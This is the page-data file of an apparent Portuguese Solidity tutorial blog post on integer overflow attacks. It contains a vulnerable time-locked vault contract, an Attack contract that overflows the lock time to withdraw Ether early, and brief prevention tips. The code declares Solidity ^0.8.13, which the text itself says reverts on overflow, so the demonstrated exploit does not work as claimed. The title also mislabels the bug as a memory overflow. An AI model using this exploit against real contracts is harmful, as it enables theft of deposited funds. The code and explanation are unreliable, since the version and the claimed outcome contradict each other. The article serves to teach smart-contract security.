{"componentChunkName":"component---src-templates-blog-page-index-tsx","path":"/estouro-de-memoria/","result":{"data":{"mdx":{"body":"var _excluded = [\"components\"];\n\nfunction _extends() { _extends = Object.assign ? Object.assign.bind() : function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); }\n\nfunction _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; }\n\nfunction _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; }\n\n/* @jsxRuntime classic */\n\n/* @jsx mdx */\nvar _frontmatter = {\n  \"layout\": \"BlogPage\",\n  \"title\": \"Ataques com estouro de memória\",\n  \"description\": \"Nesse artigo iremos aprender a como um contrato malicioso de estouro de memória funciona e como previnir um ataque em seu contrato inteligente.\",\n  \"image\": \"capa.jpg\",\n  \"tags\": [\"Intermediário\", \"Hacks\"],\n  \"author\": [\"Matheus\"],\n  \"publishedAt\": \"18/06/2022\",\n  \"modifiedAt\": \"20220618\",\n  \"suburl\": \"estouro-de-memoria/\"\n};\nvar layoutProps = {\n  _frontmatter: _frontmatter\n};\nvar MDXLayout = \"wrapper\";\nreturn function MDXContent(_ref) {\n  var components = _ref.components,\n      props = _objectWithoutProperties(_ref, _excluded);\n\n  return mdx(MDXLayout, _extends({}, layoutProps, props, {\n    components: components,\n    mdxType: \"MDXLayout\"\n  }), mdx(\"p\", null, \"Nesse artigo iremos aprender a como um contrato malicioso de estouro de mem\\xF3ria funciona e como previnir um ataque em seu contrato inteligente.\"), mdx(\"h2\", {\n    \"id\": \"vulnerabilidade\"\n  }, \"Vulnerabilidade\"), mdx(\"p\", null, \"Nas vers\\xF5es abaixo de 0.8 do Solidity, os valores inteiros (\", mdx(\"inlineCode\", {\n    parentName: \"p\"\n  }, \"int\"), \") estouram seu limite sem apresentar nenhum erro.\\nJ\\xE1 nas vers\\xF5es 0.8 ou acima, o Soidity emite um erro para o usu\\xE1rio em caso de tentativa de estourar o inteiro.\"), mdx(\"p\", null, \"A explora\\xE7\\xE3o do ataque por estouro, permite que o contrato \", mdx(\"inlineCode\", {\n    parentName: \"p\"\n  }, \"B\"), \" chame \", mdx(\"inlineCode\", {\n    parentName: \"p\"\n  }, \"A\"), \" at\\xE9 que estoure o valor da vari\\xE1vel usada por \", mdx(\"inlineCode\", {\n    parentName: \"p\"\n  }, \"A\"), \", chegando ao ponto de conseguir resgatar um\\nvalor de Ether antes de um prazo estipulado.\", mdx(\"br\", null)), mdx(\"p\", null, mdx(\"strong\", {\n    parentName: \"p\"\n  }, \"Um exemplo de como um ataque funciona:\"), mdx(\"br\", null), \"\\nEste contrato foi projetado para funcionar como um cofre com temporizador.\", mdx(\"br\", null), \"\\nO usu\\xE1rio pode depositar neste contrato, mas n\\xE3o pode retirar por pelo menos uma semana.\", mdx(\"br\", null), \"\\nO usu\\xE1rio tamb\\xE9m pode estender o tempo de espera al\\xE9m do per\\xEDodo de espera de 1 semana.\"), mdx(\"ol\", null, mdx(\"li\", {\n    parentName: \"ol\"\n  }, \"Implante o TimeLock\"), mdx(\"li\", {\n    parentName: \"ol\"\n  }, \"Implante o ataque com o endere\\xE7o do TimeLock\"), mdx(\"li\", {\n    parentName: \"ol\"\n  }, \"Chame \", mdx(\"inlineCode\", {\n    parentName: \"li\"\n  }, \"Attack.attack\"), \" enviando 1 ether. Voc\\xEA ser\\xE1 imediatamente capaz de retirar seu ether.\")), mdx(\"p\", null, mdx(\"strong\", {\n    parentName: \"p\"\n  }, \"O que aconteceu?\"), mdx(\"br\", null), \"\\nO ataque causou o estouro do \", mdx(\"inlineCode\", {\n    parentName: \"p\"\n  }, \"TimeLock.lockTime\"), \" e foi capaz de retirar antes do per\\xEDodo de espera de 1 semana.\"), mdx(\"pre\", null, mdx(\"code\", {\n    parentName: \"pre\",\n    \"className\": \"language-js\"\n  }, \"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.13;\\n\\ncontract TimeLock {\\n    mapping(address => uint) public balances;\\n    mapping(address => uint) public lockTime;\\n\\n    function deposit() external payable {\\n        balances[msg.sender] += msg.value;\\n        lockTime[msg.sender] = block.timestamp + 1 weeks;\\n    }\\n\\n    function increaseLockTime(uint _secondsToIncrease) public {\\n        lockTime[msg.sender] += _secondsToIncrease;\\n    }\\n\\n    function withdraw() public {\\n        require(balances[msg.sender] > 0, \\\"Fundos insuficientes\\\");\\n        require(block.timestamp > lockTime[msg.sender], \\\"O tempo de bloqueio n\\xE3o expirou\\\");\\n\\n        uint amount = balances[msg.sender];\\n        balances[msg.sender] = 0;\\n\\n        (bool sent, ) = msg.sender.call{value: amount}(\\\"\\\");\\n        require(sent, \\\"Falha ao enviar Ether\\\");\\n    }\\n}\\n\\ncontract Attack {\\n    TimeLock timeLock;\\n\\n    constructor(TimeLock _timeLock) {\\n        timeLock = TimeLock(_timeLock);\\n    }\\n\\n    fallback() external payable {}\\n\\n    function attack() public payable {\\n        timeLock.deposit{value: msg.value}();\\n        /*\\n        se t = tempo de bloqueio atual, ent\\xE3o precisamos encontrar x tal que\\n        x + t = 2**256 = 0\\n        so x = -t\\n        2**256 = type(uint).max + 1\\n        so x = type(uint).max + 1 - t\\n        */\\n        timeLock.increaseLockTime(\\n            type(uint).max + 1 - timeLock.lockTime(address(this))\\n        );\\n        timeLock.withdraw();\\n    }\\n}\\n\")), mdx(\"br\", null), mdx(\"h2\", {\n    \"id\": \"técnicas-preventivas\"\n  }, \"T\\xE9cnicas Preventivas\"), mdx(\"ul\", null, mdx(\"li\", {\n    parentName: \"ul\"\n  }, \"Use \", mdx(\"a\", {\n    parentName: \"li\",\n    \"href\": \"https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol\",\n    \"target\": \"_blank\",\n    \"rel\": \"noopener\"\n  }, \"SafeMath\"), \" para evitar estouro de vari\\xE1veis e estouro aritm\\xE9tico\"), mdx(\"li\", {\n    parentName: \"ul\"\n  }, \"O padr\\xE3o do Solidity 0.8+ \\xE9 lan\\xE7ar um erro para estouro de vari\\xE1veis / estouro aritm\\xE9tico\")), mdx(\"br\", null), mdx(\"h3\", {\n    \"id\": \"testar-no-remix\"\n  }, \"Testar no \", mdx(\"a\", {\n    parentName: \"h3\",\n    \"href\": \"https://remix.ethereum.org/\",\n    \"target\": \"_blank\",\n    \"rel\": \"noopener\"\n  }, \"Remix\")), mdx(\"br\", null), mdx(\"br\", null));\n}\n;\nMDXContent.isMDXComponent = true;","frontmatter":{"title":"Ataques com estouro de memória","description":"Nesse artigo iremos aprender a como um contrato malicioso de estouro de memória funciona e como previnir um ataque em seu contrato inteligente.","image":{"childImageSharp":{"fluid":{"base64":"data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQBAgP/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIQAxAAAAFxjaQLB//EABoQAAICAwAAAAAAAAAAAAAAAAISAREEECH/2gAIAQEAAQUCGayDeBG1WG7r/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAHRAAAgICAwEAAAAAAAAAAAAAAREAAjFRAxASQf/aAAgBAQAGPwIg8hNrNDUYdjqB5nr7M9f/xAAcEAEBAAICAwAAAAAAAAAAAAABEQAhEDFBUaH/2gAIAQEAAT8hoSEPQxLiPDVxJDI2Y2AD3mBW/nj/2gAMAwEAAgADAAAAEKDP/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPxA//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPxA//8QAHRABAQACAgMBAAAAAAAAAAAAAREAITFhQYGR0f/aAAgBAQABPxAbvgac0J4fzvH/ABKTX0YxBgpKPrWDT4iTU7ZcbsJOAGBCc95//9k=","aspectRatio":1.5151515151515151,"src":"/static/625dd8ba4502cc3959569a82ba3ab456/0cb3d/capa.jpg","srcSet":"/static/625dd8ba4502cc3959569a82ba3ab456/f836f/capa.jpg 200w,\n/static/625dd8ba4502cc3959569a82ba3ab456/2244e/capa.jpg 400w,\n/static/625dd8ba4502cc3959569a82ba3ab456/0cb3d/capa.jpg 536w","sizes":"(max-width: 536px) 100vw, 536px"}}},"tags":["Intermediário","Hacks"],"author":["Matheus"],"suburl":"estouro-de-memoria/","publishedAt":"18/06/2022","modifiedAt":"20220618"},"tableOfContents":{"items":[{"url":"#vulnerabilidade","title":"Vulnerabilidade"},{"url":"#técnicas-preventivas","title":"Técnicas Preventivas","items":[{"url":"#testar-no-remix","title":"Testar no Remix"}]}]},"timeToRead":1},"allMdx":{"nodes":[{"frontmatter":{"suburl":"sistema-de-swap-estavel-amm/","title":"Como criar um sistema de Swap estável AMM","tags":["Avançado","DeFi"]}},{"frontmatter":{"suburl":"produto-constante-amm/","title":"Como criar um produto constante AMM","tags":["Intermediário","DeFi"]}},{"frontmatter":{"suburl":"soma-constante-amm/","title":"Como criar uma soma constante AMM","tags":["Intermediário","DeFi"]}},{"frontmatter":{"suburl":"sistema-de-cofre/","title":"Como criar um sistema de Cofre","tags":["Intermediário","DeFi"]}},{"frontmatter":{"suburl":"sistema-de-staking/","title":"Como criar um sistema de Staking de Recompensas","tags":["Intermediário","Avançado","DeFi"]}},{"frontmatter":{"suburl":"sistema-de-preco-chainlink-oracle/","title":"Como criar um sistema de preços Oracle","tags":["Intermediário","Avançado","DeFi"]}},{"frontmatter":{"suburl":"exemplos-de-uso-do-uniswap-v3/","title":"Exemplos de uso do Uniswap V3","tags":["Intermediário","Avançado","DeFi"]}},{"frontmatter":{"suburl":"fornecimento-unilateral-com-uniswap-v2/","title":"Fornecimento unilateral ideal com Uniswap V2","tags":["Intermediário","Avançado","DeFi"]}},{"frontmatter":{"suburl":"adicionar-e-remover-liquidez-com-uniswap-v2/","title":"Como adicionar e remover liquidez com Uniswap V2","tags":["Intermediário","Avançado","DeFi"]}},{"frontmatter":{"suburl":"swap-com-uniswap-v2/","title":"Como realizar Swap com Uniswap V2","tags":["Intermediário","DeFi"]}},{"frontmatter":{"suburl":"testes-com-echidna/","title":"Como realizar testes com Echidna","tags":["Intermediário"]}},{"frontmatter":{"suburl":"ignorar-verificacao-do-tamanho-do-contrato/","title":"Como ignorar a verificação do tamanho do contrato","tags":["Intermediário","Hacks"]}},{"frontmatter":{"suburl":"repeticao-de-assinatura/","title":"Repetição de assinatura","tags":["Avançado","Hacks"]}},{"frontmatter":{"suburl":"manipular-timestamp-do-bloco/","title":"Manipulando o timestamp do bloco na blockchain","tags":["Intermediário","Hacks"]}},{"frontmatter":{"suburl":"ataque-front-running/","title":"Ataque utilizando a técnica front running","tags":["Intermediário","Hacks"]}},{"frontmatter":{"suburl":"honeypot/","title":"Criar uma armadilha para hackers com a técnica honeypot","tags":["Intermediário","Hacks"]}},{"frontmatter":{"suburl":"ocultar-script-malicioso/","title":"Como um contrato malicioso esconde seu script","tags":["Intermediário","Hacks"]}},{"frontmatter":{"suburl":"phishing-com-txorigin/","title":"Phishing com tx.origin","tags":["Intermediário","Hacks"]}},{"frontmatter":{"suburl":"negacao-de-servico/","title":"Inutilizar um contrato através da negação de serviço","tags":["Intermediário","Hacks"]}},{"frontmatter":{"suburl":"fonte-de-aleatoriedade/","title":"Fonte de Aleatoriedade","tags":["Intermediário","Hacks"]}},{"frontmatter":{"suburl":"chamada-de-funcao-delegatecall/","title":"Chamada de função delegatecall","tags":["Intermediário","Hacks"]}},{"frontmatter":{"suburl":"acessando-variaveis-privadas/","title":"Acessando variáveis privadas","tags":["Intermediário","Hacks"]}},{"frontmatter":{"suburl":"auto-destruicao/","title":"Ataques com Auto-destruição","tags":["Intermediário","Hacks"]}},{"frontmatter":{"suburl":"estouro-de-memoria/","title":"Ataques com estouro de memória","tags":["Intermediário","Hacks"]}},{"frontmatter":{"suburl":"ataque-de-reentrada/","title":"Ataque de reentrada, aprenda como funciona e como evitar","tags":["Intermediário","Hacks"]}},{"frontmatter":{"suburl":"bloqueio-de-tempo-timelock/","title":"Criar um contrato com bloqueio de tempo","tags":["Avançado","Aplicações"]}},{"frontmatter":{"suburl":"contrato-para-multichamadas/","title":"Criar contrato para Multichamada de funções","tags":["Avançado","Aplicações"]}},{"frontmatter":{"suburl":"financiamento-coletivo-crowd-fund/","title":"Criar um sistema de financiamento coletivo","tags":["Avançado","Aplicações"]}},{"frontmatter":{"suburl":"sistema-de-leilao-ingles-holandes/","title":"Criar um sistema de leilão inglês e holandês","tags":["Avançado","Aplicações"]}},{"frontmatter":{"suburl":"canal-de-pagamento-bidirecional/","title":"Criar um Canal de pagamento bidirecional","tags":["Avançado","Aplicações"]}},{"frontmatter":{"suburl":"canal-de-pagamento-unidirecional/","title":"Criar um Canal de pagamento unidirecional","tags":["Avançado","Aplicações"]}},{"frontmatter":{"suburl":"gravar-dados-no-slot/","title":"Como gravar dados em qualquer slot","tags":["Intermediário","Aplicações"]}},{"frontmatter":{"suburl":"implantar-contrato-com-proxy/","title":"Como implantar qualquer contrato com Proxy","tags":["Avançado","Aplicações"]}},{"frontmatter":{"suburl":"trabalhando-com-proxy/","title":"Trabalhando com Proxy","tags":["Avançado","Aplicações"]}},{"frontmatter":{"suburl":"precomputar-endereco-contrato/","title":"Pré-computar endereço do Contrato com Create2","tags":["Avançado","Aplicações"]}},{"frontmatter":{"suburl":"token-erc721/","title":"Criando nosso primeiro Token ERC721","tags":["Intermediário","Avançado","Aplicações"]}},{"frontmatter":{"suburl":"token-erc20/","title":"Criando nosso primeiro Token ERC20","tags":["Intermediário","Avançado","Aplicações"]}},{"frontmatter":{"suburl":"aplicacao-mapeamento-iteravel/","title":"Mapeamento Iterável","tags":["Intermediário","Aplicações"]}},{"frontmatter":{"suburl":"aplicacao-arvore-merkle/","title":"Árvore de Merkle","tags":["Avançado","Aplicações"]}},{"frontmatter":{"suburl":"aplicacao-multi-assinatura/","title":"Carteira com Multi-Assinaturas","tags":["Intermediário","Avançado","Aplicações"]}},{"frontmatter":{"suburl":"aplicacao-wallet/","title":"Carteira de Tokens","tags":["Iniciante","Aplicações"]}},{"frontmatter":{"suburl":"assinaturas-e-hashing-keccak/","title":"Verificando assinatura hashing com Keccak256","tags":["Intermediário","Avançado"]}},{"frontmatter":{"suburl":"abi/","title":"O que é ABI e para que serve?","tags":["Iniciante"]}},{"frontmatter":{"suburl":"import-e-libraries/","title":"Import e Libraries, para que servem?","tags":["Iniciante","Intermediário"]}},{"frontmatter":{"suburl":"criar-contrato-simples/","title":"Criar um contrato através de outro contrato","tags":["Intermediário"]}},{"frontmatter":{"suburl":"call-fallback-delegatecall/","title":"Call, Fallback, Delegatecall e chamadas de contratos","tags":["Intermediário"]}},{"frontmatter":{"suburl":"transfer-send-call/","title":"Enviar Ether com transfer, send e call","tags":["Iniciante","Intermediário"]}},{"frontmatter":{"suburl":"visibilidade-interface-pagavel/","title":"Visibilidade, Interfaces e Funções Pagáveis","tags":["Intermediário"]}},{"frontmatter":{"suburl":"evento-construtor-heranca/","title":"Evento, Construtor e Herança","tags":["Iniciante","Intermediário"]}},{"frontmatter":{"suburl":"tratamento-de-erros/","title":"Tratamento de erros de condições e exceções","tags":["Iniciante","Intermediário"]}},{"frontmatter":{"suburl":"funcoes/","title":"Funções e Modificadores","tags":["Iniciante","Intermediário"]}},{"frontmatter":{"suburl":"armazenamento/","title":"Armazenamento de Dados","tags":["Intermediário"]}},{"frontmatter":{"suburl":"estruturas/","title":"Estruturas - Struct","tags":["Iniciante","Intermediário"]}},{"frontmatter":{"suburl":"enum/","title":"Enum - Enumeradores","tags":["Iniciante","Intermediário"]}},{"frontmatter":{"suburl":"mapping-arrays/","title":"Mapping e Arrays","tags":["Iniciante"]}},{"frontmatter":{"suburl":"if-else-for-while/","title":"If, Else, For e While","tags":["Iniciante"]}},{"frontmatter":{"suburl":"ether-wei-gas/","title":"Ether, Wei e Taxa de Gas","tags":["Iniciante"]}},{"frontmatter":{"suburl":"variaveis/","title":"Entendendo as Variáveis","tags":["Iniciante"]}},{"frontmatter":{"suburl":"primeiro-aplicativo/","title":"Meu primeiro aplicativo","tags":["Iniciante","Aplicações"]}}]},"topicsYaml":{"topics":[{"desc":"Todos os conteúdos de nível iniciante estão disponíveis aqui","title":"Iniciante","url":"iniciante/"},{"desc":"Todos os conteúdos de nível intermediário estão disponíveis aqui","title":"Intermediário","url":"intermediario/"},{"desc":"Todos os conteúdos de nível avançado estão disponíveis aqui","title":"Avançado","url":"avancado/"},{"desc":"Todos os artigos referentes a exemplos de aplicações do Solidity, estão disponíveis aqui","title":"Aplicações","url":"aplicacoes/"},{"desc":"Todos os artigos referentes a exemplos de aplicação de hacks do Solidity, estão disponíveis aqui","title":"Hacks","url":"hacks/"},{"desc":"Todos os artigos referentes a exemplos de aplicação DeFi do Solidity, estão disponíveis aqui","title":"DeFi","url":"defi/"},{"desc":"Artigos de outras linguagens de programação, exemplos de interação entre a blockchain e aplicativos externos, estão disponíveis aqui","title":"Outros Artigos","url":"artigos/"}]}},"pageContext":{"suburl":"estouro-de-memoria/","postTopics":["Intermediário","Hacks"],"publishedAt":"18/06/2022","prevArticle":{"title":"Ataque de reentrada, aprenda como funciona e como evitar","layout":"BlogPage","suburl":"ataque-de-reentrada/","author":["Matheus"],"tags":["Intermediário","Hacks"],"publishedAt":"17/06/2022","modifiedAt":"20220617"},"nextArticle":{"title":"Ataques com Auto-destruição","layout":"BlogPage","suburl":"auto-destruicao/","author":["Matheus"],"tags":["Intermediário","Hacks"],"publishedAt":"19/06/2022","modifiedAt":"20220619"}}},"staticQueryHashes":["119291576","2330562257","4065828390"]}